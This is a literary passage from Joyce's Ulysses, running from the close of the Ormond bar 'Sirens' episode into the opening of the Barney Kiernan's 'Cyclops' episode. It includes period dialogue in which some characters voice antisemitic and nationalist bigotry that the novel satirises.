Rudy. Too late now. Or if not? If not? If still? + +He bore no hate. + +Hate. Love. Those are names. Rudy. Soon I am old. Big Ben his voice +unfolded. Great voice Richie Goulding said, a flush struggling in his +pale, to Bloom soon old. But when was young? + +Ireland comes now. My country above the king. She listens. Who +fears to speak of nineteen four? Time to be shoving. Looked enough. + +--BLESS ME, FATHER, Dollard the croppy cried. BLESS ME AND LET ME GO. + +Tap. + +Bloom looked, unblessed to go. Got up to kill: on eighteen bob a +week. Fellows shell out the dibs. Want to keep your weathereye open. Those +girls, those lovely. By the sad sea waves. Chorusgirl's romance. Letters +read out for breach of promise. From Chickabiddy's owny Mumpsypum. +Laughter in court. Henry. I never signed it. The lovely name you. + +Low sank the music, air and words. Then hastened. The false priest +rustling soldier from his cassock. A yeoman captain. They know it all by +heart. The thrill they itch for. Yeoman cap. + +Tap. Tap. + +Thrilled she listened, bending in sympathy to hear. + +Blank face. Virgin should say: or fingered only. Write something on +it: page. If not what becomes of them? Decline, despair. Keeps them young. +Even admire themselves. See. Play on her. Lip blow. Body of white woman, +a flute alive. Blow gentle. Loud. Three holes, all women. Goddess I didn't +see. They want it. Not too much polite. That's why he gets them. Gold in +your pocket, brass in your face. Say something. Make her hear. With look +to look. Songs without words. Molly, that hurdygurdy boy. She knew he +meant the monkey was sick. Or because so like the Spanish. Understand +animals too that way. Solomon did. Gift of nature. + +Ventriloquise. My lips closed. Think in my stom. What? + +Will? You? I. Want. You. To. + +With hoarse rude fury the yeoman cursed, swelling in apoplectic +bitch's bastard. A good thought, boy, to come. One hour's your time to +live, your last. + +Tap. Tap. + +Thrill now. Pity they feel. To wipe away a tear for martyrs that want +to, dying to, die. For all things dying, for all things born. Poor Mrs +Purefoy. Hope she's over. Because their wombs. + +A liquid of womb of woman eyeball gazed under a fence of lashes, +calmly, hearing. See real beauty of the eye when she not speaks. On yonder +river. At each slow satiny heaving bosom's wave (her heaving embon) red +rose rose slowly sank red rose. Heartbeats: her breath: breath that is +life. And all the tiny tiny fernfoils trembled of maidenhair. + +But look. The bright stars fade. O rose! Castile. The morn. Ha. +Lidwell. For him then not for. Infatuated. I like that? See her +from here though. Popped corks, splashes of beerfroth, stacks of empties. + +On the smooth jutting beerpull laid Lydia hand, lightly, plumply, leave +it to my hands. All lost in pity for croppy. Fro, to: to, fro: over the +polished knob (she knows his eyes, my eyes, her eyes) her thumb and finger +passed in pity: passed, reposed and, gently touching, then slid so +smoothly, slowly down, a cool firm white enamel baton protruding through +their sliding ring. + +With a cock with a carra. + +Tap. Tap. Tap. + +I hold this house. Amen. He gnashed in fury. Traitors swing. + +The chords consented. Very sad thing. But had to be. Get out before +the end. Thanks, that was heavenly. Where's my hat. Pass by her. Can +leave that Freeman. Letter I have. Suppose she were the? No. Walk, +walk, walk. Like Cashel Boylo Connoro Coylo Tisdall Maurice Tisntdall +Farrell. Waaaaaaalk. + +Well, I must be. Are you off? Yrfmstbyes. Blmstup. O'er ryehigh blue. +Ow. Bloom stood up. Soap feeling rather sticky behind. Must have +sweated: music. That lotion, remember. Well, so long. High grade. Card +inside. Yes. + +By deaf Pat in the doorway straining ear Bloom passed. + +At Geneva barrack that young man died. At Passage was his body +laid. Dolor! O, he dolores! The voice of the mournful chanter called to +dolorous prayer. + +By rose, by satiny bosom, by the fondling hand, by slops, by empties, +by popped corks, greeting in going, past eyes and maidenhair, bronze and +faint gold in deepseashadow, went Bloom, soft Bloom, I feel so lonely +Bloom. + +Tap. Tap. Tap. + +Pray for him, prayed the bass of Dollard. You who hear in peace. Breathe +a prayer, drop a tear, good men, good people. He was the croppy boy. + +Scaring eavesdropping boots croppy bootsboy Bloom in the Ormond +hallway heard the growls and roars of bravo, fat backslapping, their boots +all treading, boots not the boots the boy. General chorus off for a swill +to wash it down. Glad I avoided. + +--Come on, Ben, Simon Dedalus cried. By God, you're as good as ever you +were. + +--Better, said Tomgin Kernan. Most trenchant rendition of that ballad, +upon my soul and honour It is. + +--Lablache, said Father Cowley. + +Ben Dollard bulkily cachuchad towards the bar, mightily praisefed and all +big roseate, on heavyfooted feet, his gouty fingers nakkering castagnettes +in the air. + +Big Benaben Dollard. Big Benben. Big Benben. + +Rrr. + +And deepmoved all, Simon trumping compassion from foghorn nose, +all laughing they brought him forth, Ben Dollard, in right good cheer. + +--You're looking rubicund, George Lidwell said. + +Miss Douce composed her rose to wait. + +--Ben machree, said Mr Dedalus, clapping Ben's fat back shoulderblade. +Fit as a fiddle only he has a lot of adipose tissue concealed about his +person. + +Rrrrrrrsss. + +--Fat of death, Simon, Ben Dollard growled. + +Richie rift in the lute alone sat: Goulding, Collis, Ward. Uncertainly +he waited. Unpaid Pat too. + +Tap. Tap. Tap. Tap. + +Miss Mina Kennedy brought near her lips to ear of tankard one. + +--Mr Dollard, they murmured low. + +--Dollard, murmured tankard. + +Tank one believed: miss Kenn when she: that doll he was: she doll: +the tank. + +He murmured that he knew the name. The name was familiar to him, +that is to say. That was to say he had heard the name of. Dollard, was it? +Dollard, yes. + +Yes, her lips said more loudly, Mr Dollard. He sang that song lovely, +murmured Mina. Mr Dollard. And THE LAST ROSE OF SUMMER was a lovely +song. Mina loved that song. Tankard loved the song that Mina. + +'Tis the last rose of summer dollard left bloom felt wind wound round +inside. + +Gassy thing that cider: binding too. Wait. Postoffice near Reuben J's +one and eightpence too. Get shut of it. Dodge round by Greek street. Wish +I hadn't promised to meet. Freer in air. Music. Gets on your nerves. +Beerpull. Her hand that rocks the cradle rules the. Ben Howth. That rules +the world. + +Far. Far. Far. Far. + +Tap. Tap. Tap. Tap. + +Up the quay went Lionelleopold, naughty Henry with letter for +Mady, with sweets of sin with frillies for Raoul with met him pike hoses +went Poldy on. + +Tap blind walked tapping by the tap the curbstone tapping, tap by tap. + +Cowley, he stuns himself with it: kind of drunkenness. Better give +way only half way the way of a man with a maid. Instance enthusiasts. All +ears. Not lose a demisemiquaver. Eyes shut. Head nodding in time. Dotty. +You daren't budge. Thinking strictly prohibited. Always talking shop. +Fiddlefaddle about notes. + +All a kind of attempt to talk. Unpleasant when it stops because you +never know exac. Organ in Gardiner street. Old Glynn fifty quid a year. +Queer up there in the cockloft, alone, with stops and locks and keys. +Seated all day at the organ. Maunder on for hours, talking to himself or +the other fellow blowing the bellows. Growl angry, then shriek cursing +(want to have wadding or something in his no don't she cried), then all of +a soft sudden wee little wee little pipy wind. + +Pwee! A wee little wind piped eeee. In Bloom's little wee. + +--Was he? Mr Dedalus said, returning with fetched pipe. I was with him +this morning at poor little Paddy Dignam's ... + +--Ay, the Lord have mercy on him. + +--By the bye there's a tuningfork in there on the ... + +Tap. Tap. Tap. Tap. + +--The wife has a fine voice. Or had. What? Lidwell asked. + +--O, that must be the tuner, Lydia said to Simonlionel first I saw, forgot +it when he was here. + +Blind he was she told George Lidwell second I saw. And played so +exquisitely, treat to hear. Exquisite contrast: bronzelid, minagold. + +--Shout! Ben Dollard shouted, pouring. Sing out! + +--'lldo! cried Father Cowley. + +Rrrrrr. + +I feel I want ... + +Tap. Tap. Tap. Tap. Tap + +--Very, Mr Dedalus said, staring hard at a headless sardine. + +Under the sandwichbell lay on a bier of bread one last, one lonely, last +sardine of summer. Bloom alone. + +--Very, he stared. The lower register, for choice. + +Tap. Tap. Tap. Tap. Tap. Tap. Tap. Tap. + +Bloom went by Barry's. Wish I could. Wait. That wonderworker if I +had. Twentyfour solicitors in that one house. Counted them. Litigation. +Love one another. Piles of parchment. Messrs Pick and Pocket have power +of attorney. Goulding, Collis, Ward. + +But for example the chap that wallops the big drum. His vocation: +Mickey Rooney's band. Wonder how it first struck him. Sitting at home +after pig's cheek and cabbage nursing it in the armchair. Rehearsing his +band part. Pom. Pompedy. Jolly for the wife. Asses' skins. Welt them +through life, then wallop after death. Pom. Wallop. Seems to be what you +call yashmak or I mean kismet. Fate. + +Tap. Tap. A stripling, blind, with a tapping cane came taptaptapping +by Daly's window where a mermaid hair all streaming (but he couldn't see) +blew whiffs of a mermaid (blind couldn't), mermaid, coolest whiff of all. + +Instruments. A blade of grass, shell of her hands, then blow. Even +comb and tissuepaper you can knock a tune out of. Molly in her shift in +Lombard street west, hair down. I suppose each kind of trade made its own, +don't you see? Hunter with a horn. Haw. Have you the? CLOCHE. SONNEZ LA. +Shepherd his pipe. Pwee little wee. Policeman a whistle. Locks and keys! +Sweep! Four o'clock's all's well! Sleep! All is lost now. Drum? Pompedy. +Wait. I know. Towncrier, bumbailiff. Long John. Waken the dead. Pom. +Dignam. Poor little NOMINEDOMINE. Pom. It is music. I mean of course it's +all pom pom pom very much what they call DA CAPO. Still you can hear. As +we march, we march along, march along. Pom. + +I must really. Fff. Now if I did that at a banquet. Just a question of +custom shah of Persia. Breathe a prayer, drop a tear. All the same he must +have been a bit of a natural not to see it was a yeoman cap. Muffled up. +Wonder who was that chap at the grave in the brown macin. O, the whore +of the lane! + +A frowsy whore with black straw sailor hat askew came glazily in the +day along the quay towards Mr Bloom. When first he saw that form +endearing? Yes, it is. I feel so lonely. Wet night in the lane. Horn. Who +had the? Heehaw shesaw. Off her beat here. What is she? Hope she. Psst! +Any chance of your wash. Knew Molly. Had me decked. Stout lady does be +with you in the brown costume. Put you off your stroke, that. Appointment +we made knowing we'd never, well hardly ever. Too dear too near to home +sweet home. Sees me, does she? Looks a fright in the day. Face like dip. +Damn her. O, well, she has to live like the rest. Look in here. + +In Lionel Marks's antique saleshop window haughty Henry Lionel +Leopold dear Henry Flower earnestly Mr Leopold Bloom envisaged +battered candlesticks melodeon oozing maggoty blowbags. Bargain: six bob. +Might learn to play. Cheap. Let her pass. Course everything is dear if +you don't want it. That's what good salesman is. Make you buy what he +wants to sell. Chap sold me the Swedish razor he shaved me with. Wanted +to charge me for the edge he gave it. She's passing now. Six bob. + +Must be the cider or perhaps the burgund. + +Near bronze from anear near gold from afar they chinked their clinking +glasses all, brighteyed and gallant, before bronze Lydia's tempting +last rose of summer, rose of Castile. First Lid, De, Cow, Ker, Doll, a +fifth: Lidwell, Si Dedalus, Bob Cowley, Kernan and big Ben Dollard. + +Tap. A youth entered a lonely Ormond hall. + +Bloom viewed a gallant pictured hero in Lionel Marks's window. Robert +Emmet's last words. Seven last words. Of Meyerbeer that is. + +--True men like you men. + +--Ay, ay, Ben. + +--Will lift your glass with us. + +They lifted. + +Tschink. Tschunk. + +Tip. An unseeing stripling stood in the door. He saw not bronze. He +saw not gold. Nor Ben nor Bob nor Tom nor Si nor George nor tanks nor +Richie nor Pat. Hee hee hee hee. He did not see. + +Seabloom, greaseabloom viewed last words. Softly. WHEN MY COUNTRY +TAKES HER PLACE AMONG. + +Prrprr. + +Must be the bur. + +Fff! Oo. Rrpr. + +NATIONS OF THE EARTH. No-one behind. She's passed. THEN AND NOT TILL +THEN. Tram kran kran kran. Good oppor. Coming. Krandlkrankran. I'm +sure it's the burgund. Yes. One, two. LET MY EPITAPH BE. Kraaaaaa. +WRITTEN. I HAVE. + +Pprrpffrrppffff. + +DONE. + + + * * * * * * * + + +I was just passing the time of day with old Troy of the D. M. P. at the +corner of Arbour hill there and be damned but a bloody sweep came along +and he near drove his gear into my eye. I turned around to let him have +the weight of my tongue when who should I see dodging along Stony Batter +only Joe Hynes. + +--Lo, Joe, says I. How are you blowing? Did you see that bloody +chimneysweep near shove my eye out with his brush? + +--Soot's luck, says Joe. Who's the old ballocks you were talking to? + +--Old Troy, says I, was in the force. I'm on two minds not to give that +fellow in charge for obstructing the thoroughfare with his brooms and +ladders. + +--What are you doing round those parts? says Joe. + +--Devil a much, says I. There's a bloody big foxy thief beyond by the +garrison church at the corner of Chicken lane--old Troy was just giving +me a wrinkle about him--lifted any God's quantity of tea and sugar to pay +three bob a week said he had a farm in the county Down off a +hop-of-my-thumb by the name of Moses Herzog over there near Heytesbury +street. + +--Circumcised? says Joe. + +--Ay, says I. A bit off the top. An old plumber named Geraghty. I'm +hanging on to his taw now for the past fortnight and I can't get a penny +out of him. + +--That the lay you're on now? says Joe. + +--Ay, says I. How are the mighty fallen! Collector of bad and doubtful +debts. But that's the most notorious bloody robber you'd meet in a day's +walk and the face on him all pockmarks would hold a shower of rain. TELL +HIM, says he, I DARE HIM, says he, AND I DOUBLEDARE HIM TO SEND YOU ROUND +HERE AGAIN OR IF HE DOES, says he, I'LL HAVE HIM SUMMONSED UP BEFORE THE +COURT, SO I WILL, FOR TRADING WITHOUT A LICENCE. And he after stuffing +himself till he's fit to burst. Jesus, I had to laugh at the little jewy +getting his shirt out. HE DRINK ME MY TEAS. HE EAT ME MY SUGARS. BECAUSE +HE NO PAY ME MY MONEYS? + +For nonperishable goods bought of Moses Herzog, of 13 Saint +Kevin's parade in the city of Dublin, Wood quay ward, merchant, +hereinafter called the vendor, and sold and delivered to Michael E. +Geraghty, esquire, of 29 Arbour hill in the city of Dublin, Arran quay +ward, gentleman, hereinafter called the purchaser, videlicet, five pounds +avoirdupois of first choice tea at three shillings and no pence per pound +avoirdupois and three stone avoirdupois of sugar, crushed crystal, at +threepence per pound avoirdupois, the said purchaser debtor to the said +vendor of one pound five shillings and sixpence sterling for value +received which amount shall be paid by said purchaser to said vendor in +weekly instalments every seven calendar days of three shillings and no +pence sterling: and the said nonperishable goods shall not be pawned or +pledged or sold or otherwise alienated by the said purchaser but shall be +and remain and be held to be the sole and exclusive property of the said +vendor to be disposed of at his good will and pleasure until the said +amount shall have been duly paid by the said purchaser to the said vendor +in the manner herein set forth as this day hereby agreed between the said +vendor, his heirs, successors, trustees and assigns of the one part and +the said purchaser, his heirs, successors, trustees and assigns of the +other part. + +--Are you a strict t.t.? says Joe. + +--Not taking anything between drinks, says I. + +--What about paying our respects to our friend? says Joe. + +--Who? says I. Sure, he's out in John of God's off his head, poor man. + +--Drinking his own stuff? says Joe. + +--Ay, says I. Whisky and water on the brain. + +--Come around to Barney Kiernan's, says Joe. I want to see the citizen. + +--Barney mavourneen's be it, says I. Anything strange or wonderful, Joe? + +--Not a word, says Joe. I was up at that meeting in the City Arms. + +---What was that, Joe? says I. + +--Cattle traders, says Joe, about the foot and mouth disease. I want to +give the citizen the hard word about it. + +So we went around by the Linenhall barracks and the back of the +courthouse talking of one thing or another. Decent fellow Joe when he has +it but sure like that he never has it. Jesus, I couldn't get over that +bloody foxy Geraghty, the daylight robber. For trading without a licence, +says he. + +In Inisfail the fair there lies a land, the land of holy Michan. There +rises a watchtower beheld of men afar. There sleep the mighty dead as in +life they slept, warriors and princes of high renown. A pleasant land it +is in sooth of murmuring waters, fishful streams where sport the gurnard, +the plaice, the roach, the halibut, the gibbed haddock, the grilse, +the dab, the brill, the flounder, the pollock, the mixed coarse fish +generally and other denizens of the aqueous kingdom too numerous to be +enumerated. In the mild breezes of the west and of the east the lofty +trees wave in different directions their firstclass foliage, the wafty +sycamore, the Lebanonian cedar, the exalted planetree, the eugenic +eucalyptus and other ornaments of the arboreal world with which that +region is thoroughly well supplied. Lovely maidens sit in close proximity +to the roots of the lovely trees singing the most lovely songs while they +play with all kinds of lovely objects as for example golden ingots, +silvery fishes, crans of herrings, drafts of eels, codlings, creels of +fingerlings, purple seagems and playful insects. And heroes voyage from +afar to woo them, from Eblana to Slievemargy, the peerless princes of +unfettered Munster and of Connacht the just and of smooth sleek Leinster +and of Cruahan's land and of Armagh the splendid and of the noble district +of Boyle, princes, the sons of kings. + +And there rises a shining palace whose crystal glittering roof is seen by +mariners who traverse the extensive sea in barks built expressly for that +purpose, and thither come all herds and fatlings and firstfruits of that +land for O'Connell Fitzsimon takes toll of them, a chieftain descended +from chieftains. Thither the extremely large wains bring foison of the +fields, flaskets of cauliflowers, floats of spinach, pineapple chunks, +Rangoon beans, strikes of tomatoes, drums of figs, drills of Swedes, +spherical potatoes and tallies of iridescent kale, York and Savoy, and +trays of onions, pearls of the earth, and punnets of mushrooms and +custard marrows and fat vetches and bere and rape and red green yellow +brown russet sweet big bitter ripe pomellated apples and chips of +strawberries and sieves of gooseberries, pulpy and pelurious, and +strawberries fit for princes and raspberries from their canes. + +I dare him, says he, and I doubledare him. Come out here, Geraghty, +you notorious bloody hill and dale robber! + +And by that way wend the herds innumerable of bellwethers and +flushed ewes and shearling rams and lambs and stubble geese and medium +steers and roaring mares and polled calves and longwoods and storesheep +and Cuffe's prime springers and culls and sowpigs and baconhogs and the +various different varieties of highly distinguished swine and Angus +heifers and polly bulllocks of immaculate pedigree together with prime +premiated milchcows and beeves: and there is ever heard a trampling, +cackling, roaring, lowing, bleating, bellowing, rumbling, grunting, +champing, chewing, of sheep and pigs and heavyhooved kine from +pasturelands of Lusk and Rush and Carrickmines and from the streamy vales +of Thomond, from the M'Gillicuddy's reeks the inaccessible and lordly +Shannon the unfathomable, and from the gentle declivities of the place of +the race of Kiar, their udders distended with superabundance of milk and +butts of butter and rennets of cheese and farmer's firkins and targets of +lamb and crannocks of corn and oblong eggs in great hundreds, various in +size, the agate with this dun. + +So we turned into Barney Kiernan's and there, sure enough, was the citizen +up in the corner having a great confab with himself and that bloody +mangy mongrel, Garryowen, and he waiting for what the sky would drop +in the way of drink. + +--There he is, says I, in his gloryhole, with his cruiskeen lawn and his +load of papers, working for the cause. + +The bloody mongrel let a grouse out of him would give you the creeps. Be +a corporal work of mercy if someone would take the life of that +bloody dog. I'm told for a fact he ate a good part of the breeches off a +constabulary man in Santry that came round one time with a blue paper +about a licence. + +--Stand and deliver, says he. + +--That's all right, citizen, says Joe. Friends here. + +--Pass, friends, says he. + +Then he rubs his hand in his eye and says he: + +--What's your opinion of the times? + +Doing the rapparee and Rory of the hill. But, begob, Joe was equal to +the occasion. + +--I think the markets are on a rise, says he, sliding his hand down his +fork. + +So begob the citizen claps his paw on his knee and he says: + +--Foreign wars is the cause of it. + +And says Joe, sticking his thumb in his pocket: + +--It's the Russians wish to tyrannise. + +--Arrah, give over your bloody codding, Joe, says I. I've a thirst on me I +wouldn't sell for half a crown. + +--Give it a name, citizen, says Joe. + +--Wine of the country, says he. + +--What's yours? says Joe. + +--Ditto MacAnaspey, says I. + +--Three pints, Terry, says Joe. And how's the old heart, citizen? says he. + +--Never better, A CHARA, says he. What Garry? Are we going to win? Eh? + +And with that he took the bloody old towser by the scruff of the neck +and, by Jesus, he near throttled him. + +The figure seated on a large boulder at the foot of a round tower +was that of a broadshouldered deepchested stronglimbed frankeyed +redhaired freelyfreckled shaggybearded widemouthed largenosed +longheaded deepvoiced barekneed brawnyhanded hairylegged ruddyfaced +sinewyarmed hero. From shoulder to shoulder he measured several ells and +his rocklike mountainous knees were covered, as was likewise the rest of +his body wherever visible, with a strong growth of tawny prickly hair in +hue and toughness similar to the mountain gorse (ULEX EUROPEUS). The +widewinged nostrils, from which bristles of the same tawny hue projected, +were of such capaciousness that within their cavernous obscurity the +fieldlark might easily have lodged her nest. The eyes in which a tear and +a smile strove ever for the mastery were of the dimensions of a goodsized +cauliflower. A powerful current of warm breath issued at regular intervals +from the profound cavity of his mouth while in rhythmic resonance the +loud strong hale reverberations of his formidable heart thundered +rumblingly causing the ground, the summit of the lofty tower and the still +loftier walls of the cave to vibrate and tremble. + +He wore a long unsleeved garment of recently flayed oxhide reaching to the +knees in a loose kilt and this was bound about his middle by a girdle of +plaited straw and rushes. Beneath this he wore trews of deerskin, roughly +stitched with gut. His nether extremities were encased in high Balbriggan +buskins dyed in lichen purple, the feet being shod with brogues of salted +cowhide laced with the windpipe of the same beast. From his girdle hung a +row of seastones which jangled at every movement of his portentous frame +and on these were graven with rude yet striking art the tribal images of +many Irish heroes and heroines of antiquity, Cuchulin, Conn of hundred +battles, Niall of nine hostages, Brian of Kincora, the ardri Malachi, Art +MacMurragh, Shane O'Neill, Father John Murphy, Owen Roe, Patrick +Sarsfield, Red Hugh O'Donnell, Red Jim MacDermott, Soggarth Eoghan +O'Growney, Michael Dwyer, Francy Higgins, Henry Joy M'Cracken, +Goliath, Horace Wheatley, Thomas Conneff, Peg Woffington, the Village +Blacksmith, Captain Moonlight, Captain Boycott, Dante Alighieri, +Christopher Columbus, S. Fursa, S. Brendan, Marshal MacMahon, +Charlemagne, Theobald Wolfe Tone, the Mother of the Maccabees, the Last +of the Mohicans, the Rose of Castile, the Man for Galway, The Man that +Broke the Bank at Monte Carlo, The Man in the Gap, The Woman Who +Didn't, Benjamin Franklin, Napoleon Bonaparte, John L. Sullivan, +Cleopatra, Savourneen Deelish, Julius Caesar, Paracelsus, sir Thomas +Lipton, William Tell, Michelangelo Hayes, Muhammad, the Bride of +Lammermoor, Peter the Hermit, Peter the Packer, Dark Rosaleen, Patrick +W. Shakespeare, Brian Confucius, Murtagh Gutenberg, Patricio +Velasquez, Captain Nemo, Tristan and Isolde, the first Prince of Wales, +Thomas Cook and Son, the Bold Soldier Boy, Arrah na Pogue, Dick +Turpin, Ludwig Beethoven, the Colleen Bawn, Waddler Healy, Angus the +Culdee, Dolly Mount, Sidney Parade, Ben Howth, Valentine Greatrakes, +Adam and Eve, Arthur Wellesley, Boss Croker, Herodotus, Jack the +Giantkiller, Gautama Buddha, Lady Godiva, The Lily of Killarney, Balor +of the Evil Eye, the Queen of Sheba, Acky Nagle, Joe Nagle, Alessandro +Volta, Jeremiah O'Donovan Rossa, Don Philip O'Sullivan Beare. A +couched spear of acuminated granite rested by him while at his feet +reposed a savage animal of the canine tribe whose stertorous gasps +announced that he was sunk in uneasy slumber, a supposition confirmed by +hoarse growls and spasmodic movements which his master repressed from time +to time by tranquilising blows of a mighty cudgel rudely fashioned out of +paleolithic stone. + +So anyhow Terry brought the three pints Joe was standing and begob +the sight nearly left my eyes when I saw him land out a quid O, as true as +I'm telling you. A goodlooking sovereign. + +--And there's more where that came from, says he. + +--Were you robbing the poorbox, Joe? says I. + +--Sweat of my brow, says Joe. 'Twas the prudent member gave me the wheeze. + +--I saw him before I met you, says I, sloping around by Pill lane and +Greek street with his cod's eye counting up all the guts of the fish. + +Who comes through Michan's land, bedight in sable armour? O'Bloom, +the son of Rory: it is he. Impervious to fear is Rory's son: he +of the prudent soul. + +--For the old woman of Prince's street, says the citizen, the subsidised +organ. The pledgebound party on the floor of the house. And look at this +blasted rag, says he. Look at this, says he. THE IRISH INDEPENDENT, if you +please, founded by Parnell to be the workingman's friend. Listen to the +births and deaths in the IRISH ALL FOR IRELAND INDEPENDENT, and I'll thank +you and the marriages. + +And he starts reading them out: + +--Gordon, Barnfield crescent, Exeter; Redmayne of Iffley, Saint Anne's on +Sea: the wife of William T Redmayne of a son. How's that, eh? Wright and +Flint, Vincent and Gillett to Rotha Marion daughter of Rosa and the late +George Alfred Gillett, 179 Clapham road, Stockwell, Playwood and +Ridsdale at Saint Jude's, Kensington by the very reverend Dr Forrest, dean +of Worcester. Eh? Deaths. Bristow, at Whitehall lane, London: Carr, Stoke +Newington, of gastritis and heart disease: Cockburn, at the Moat house, +Chepstow ... + +--I know that fellow, says Joe, from bitter experience. + +--Cockburn. Dimsey, wife of David Dimsey, late of the admiralty: Miller, +Tottenham, aged eightyfive: Welsh, June 12, at 35 Canning street, +Liverpool, Isabella Helen. How's that for a national press, eh, my brown +son! How's that for Martin Murphy, the Bantry jobber? + +--Ah, well, says Joe, handing round the boose. Thanks be to God they had +the start of us. Drink that, citizen. + +--I will, says he, honourable person. + +--Health, Joe, says I. And all down the form. + +Ah! Ow! Don't be talking! I was blue mouldy for the want of that +pint. Declare to God I could hear it hit the pit of my stomach with a +click. + +And lo, as they quaffed their cup of joy, a godlike messenger came +swiftly in, radiant as the eye of heaven, a comely youth and behind him +there passed an elder of noble gait and countenance, bearing the sacred +scrolls of law and with him his lady wife a dame of peerless lineage, +fairest of her race. + +Little Alf Bergan popped in round the door and hid behind Barney's +snug, squeezed up with the laughing. And who was sitting up there in the +corner that I hadn't seen snoring drunk blind to the world only Bob Doran. +I didn't know what was up and Alf kept making signs out of the door. And +begob what was it only that bloody old pantaloon Denis Breen in his +bathslippers with two bloody big books tucked under his oxter and the wife +hotfoot after him, unfortunate wretched woman, trotting like a poodle. I +thought Alf would split. + +--Look at him, says he. Breen. He's traipsing all round Dublin with a +postcard someone sent him with U. p: up on it to take a li ... + +And he doubled up. + +--Take a what? says I. + +--Libel action, says he, for ten thousand pounds. + +--O hell! says I. + +The bloody mongrel began to growl that'd put the fear of God in you +seeing something was up but the citizen gave him a kick in the ribs. + +--BI I DHO HUSHT, says he. + +--Who? says Joe. + +--Breen, says Alf. He was in John Henry Menton's and then he went round +to Collis and Ward's and then Tom Rochford met him and sent him round +to the subsheriff's for a lark. O God, I've a pain laughing. U. p: up. The +long fellow gave him an eye as good as a process and now the bloody old +lunatic is gone round to Green street to look for a G man. + +--When is long John going to hang that fellow in Mountjoy? says Joe. + +--Bergan, says Bob Doran, waking up. Is that Alf Bergan? + +--Yes, says Alf. Hanging? Wait till I show you. Here, Terry, give us a +pony. That bloody old fool! Ten thousand pounds. You should have seen long +John's eye. U. p ... + +And he started laughing. + +--Who are you laughing at? says Bob Doran. Is that Bergan? + +--Hurry up, Terry boy, says Alf. + +Terence O'Ryan heard him and straightway brought him a crystal +cup full of the foamy ebon ale which the noble twin brothers Bungiveagh +and Bungardilaun brew ever in their divine alevats, cunning as the sons of +deathless Leda. For they garner the succulent berries of the hop and mass +and sift and bruise and brew them and they mix therewith sour juices and +bring the must to the sacred fire and cease not night or day from their +toil, those cunning brothers, lords of the vat. + + +Then did you, chivalrous Terence, hand forth, as to the manner born, +that nectarous beverage and you offered the crystal cup to him that +thirsted, the soul of chivalry, in beauty akin to the immortals. + +But he, the young chief of the O'Bergan's, could ill brook to be outdone +in generous deeds but gave therefor with gracious gesture a testoon +of costliest bronze. Thereon embossed in excellent smithwork was seen the +image of a queen of regal port, scion of the house of Brunswick, Victoria +her name, Her Most Excellent Majesty, by grace of God of the United +Kingdom of Great Britain and Ireland and of the British dominions beyond +the sea, queen, defender of the faith, Empress of India, even she, who +bore rule, a victress over many peoples, the wellbeloved, for they knew +and loved her from the rising of the sun to the going down thereof, the +pale, the dark, the ruddy and the ethiop. + +--What's that bloody freemason doing, says the citizen, prowling up and +down outside? + +--What's that? says Joe. + +--Here you are, says Alf, chucking out the rhino. Talking about hanging, +I'll show you something you never saw. Hangmen's letters. Look at here. + +So he took a bundle of wisps of letters and envelopes out of his pocket. + +--Are you codding? says I. + +--Honest injun, says Alf. Read them. + +So Joe took up the letters. + +--Who are you laughing at? says Bob Doran. + +So I saw there was going to be a bit of a dust Bob's a queer chap +when the porter's up in him so says I just to make talk: + +--How's Willy Murray those times, Alf? + +--I don't know, says Alf I saw him just now in Capel street with Paddy +Dignam. Only I was running after that ... + +--You what? says Joe, throwing down the letters. With who? + +--With Dignam, says Alf. + +--Is it Paddy? says Joe. + +--Yes, says Alf. Why? + +--Don't you know he's dead? says Joe. + +--Paddy Dignam dead! says Alf. + +--Ay, says Joe. + +--Sure I'm after seeing him not five minutes ago, says Alf, as plain as a +pikestaff. + +--Who's dead? says Bob Doran. + +--You saw his ghost then, says Joe, God between us and harm. + +--What? says Alf. Good Christ, only five ... What? ... And Willy Murray +with him, the two of them there near whatdoyoucallhim's ... What? +Dignam dead? + +--What about Dignam? says Bob Doran. Who's talking about... ? + +--Dead! says Alf. He's no more dead than you are. + +--Maybe so, says Joe. They took the liberty of burying him this morning +anyhow. + +--Paddy? says Alf. + +--Ay, says Joe. He paid the debt of nature, God be merciful to him. + +--Good Christ! says Alf. + +Begob he was what you might call flabbergasted. + +In the darkness spirit hands were felt to flutter and when prayer by +tantras had been directed to the proper quarter a faint but increasing +luminosity of ruby light became gradually visible, the apparition of the +etheric double being particularly lifelike owing to the discharge of jivic +rays from the crown of the head and face. Communication was effected +through the pituitary body and also by means of the orangefiery and +scarlet rays emanating from the sacral region and solar plexus. Questioned +by his earthname as to his whereabouts in the heavenworld he stated that +he was now on the path of pr l ya or return but was still submitted to +trial at the hands of certain bloodthirsty entities on the lower astral +levels. In reply to a question as to his first sensations in the great +divide beyond he stated that previously he had seen as in a glass darkly +but that those who had passed over had summit possibilities of atmic +development opened up to them. Interrogated as to whether life there +resembled our experience in the flesh he stated that he had heard from +more favoured beings now in the spirit that their abodes were equipped +with every modern home comfort such as talafana, alavatar, hatakalda, +wataklasat and that the highest adepts were steeped in waves of volupcy +of the very purest nature. Having requested a quart of buttermilk this was +brought and evidently afforded relief. Asked if he had any message +for the living he exhorted all who were still at the wrong side of Maya +to acknowledge the true path for it was reported in devanic circles that +Mars and Jupiter were out for mischief on the eastern angle where the +ram has power. It was then queried whether there were any special +desires on the part of the defunct and the reply was: WE GREET YOU, +FRIENDS OF EARTH, WHO ARE STILL IN THE BODY. MIND C. K. DOESN'T PILE IT +ON. It was ascertained that the reference was to Mr Cornelius Kelleher, +manager of Messrs H. J. O'Neill's popular funeral establishment, a +personal friend of the defunct, who had been responsible for the carrying +out of the interment arrangements. Before departing he requested that it +should be told to his dear son Patsy that the other boot which he had been +looking for was at present under the commode in the return room and that +the pair should be sent to Cullen's to be soled only as the heels were +still good. He stated that this had greatly perturbed his peace of mind in +the other region and earnestly requested that his desire should be made +known. + +Assurances were given that the matter would be attended to and it was +intimated that this had given satisfaction. + +He is gone from mortal haunts: O'Dignam, sun of our morning. Fleet +was his foot on the bracken: Patrick of the beamy brow. Wail, Banba, with +your wind: and wail, O ocean, with your whirlwind. + +--There he is again, says the citizen, staring out. + +--Who? says I. + +--Bloom, says he. He's on point duty up and down there for the last ten +minutes. + +And, begob, I saw his physog do a peep in and then slidder off again. + +Little Alf was knocked bawways. Faith, he was. + +--Good Christ! says he. I could have sworn it was him. + +And says Bob Doran, with the hat on the back of his poll, lowest +blackguard in Dublin when he's under the influence: + +--Who said Christ is good? + +--I beg your parsnips, says Alf. + +--Is that a good Christ, says Bob Doran, to take away poor little Willy +Dignam? + +--Ah, well, says Alf, trying to pass it off. He's over all his troubles. + 